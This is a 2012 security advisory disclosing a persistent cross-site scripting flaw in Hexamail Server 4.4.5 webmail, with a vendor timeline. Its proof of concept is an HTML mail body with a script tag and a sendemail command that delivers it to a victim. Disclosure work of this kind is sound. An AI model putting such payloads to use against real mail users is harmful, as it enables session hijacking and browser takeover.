Hexamail Server 4.4.5 Cross Site Scripting

Credit: modpr0be
Risk: Low
Local: No
Remote: Yes

#Title: Hexamail Server <= 4.4.5 Persistent XSS Vulnerability #Date: June 3, 2012 #Author: modpr0be[at]Spentera, @modpr0be #URL: http://www.spentera.com #Software URL:http://www.hexamail.com/download/hexamailserversetup4.4.5.002.exe #Tested on # OS: Windows XP SP3, Windows 2003 SP2, Windows 7 SP1 # Browser: Chrome 19.0.x, IE9, Safari 5.1.7 Software Description ==================== Hexamail provides intelligent email software solutions. Leveraging the latest advanced techniques, such as Bayesian matching, our products enable customers to eliminate email intrusions such as spam, malware, spyware, phishing attacks and virus. Vulnerability Description ========================= Hexamail Server suffers persistent XSS vulnerability in the mail body, allowing malicious user to execute scripts in a victim?s browser to hijack user sessions, redirect users, and or hijack the user?s browser. Proof of concept ================ By sending a malicious script to the victim email, the webmail automatically load the mail body, so the script will be automatically executed without permission from user. root@bt:~/# cat > meal.txt <html> <body> <h1>XSS pop up</h1> <script>alert('Hi, what is this?');</script> </body> </html> root@bt:~/# Send email to the victim: root@bt:~/# sendemail -f bob@example.com -t david@example.com -xu bob@example.com \ -xp bob123 -u "Want some meal..?" -o message-file=meal.txt -s mail.example.com Vendor timeline =============== 04/20/2012 - Issue discovered 04/20/2012 - Vendor contacted 04/27/2012 - Vendor respond and provides new upgrade version 04/30/2012 - Issue still affected on the latest upgrade version 04/30/2012 - Vendor said they still fixing the problem 05/10/2012 - Email sent to ask about the fix progress 06/02/2012 - No response. Advisory published. Solution ============ Not available. References ============ http://www.hexamail.com http://www.spentera.com/2012/06/hexamail-server-4-4-5-persistent-xss-vulnerability/



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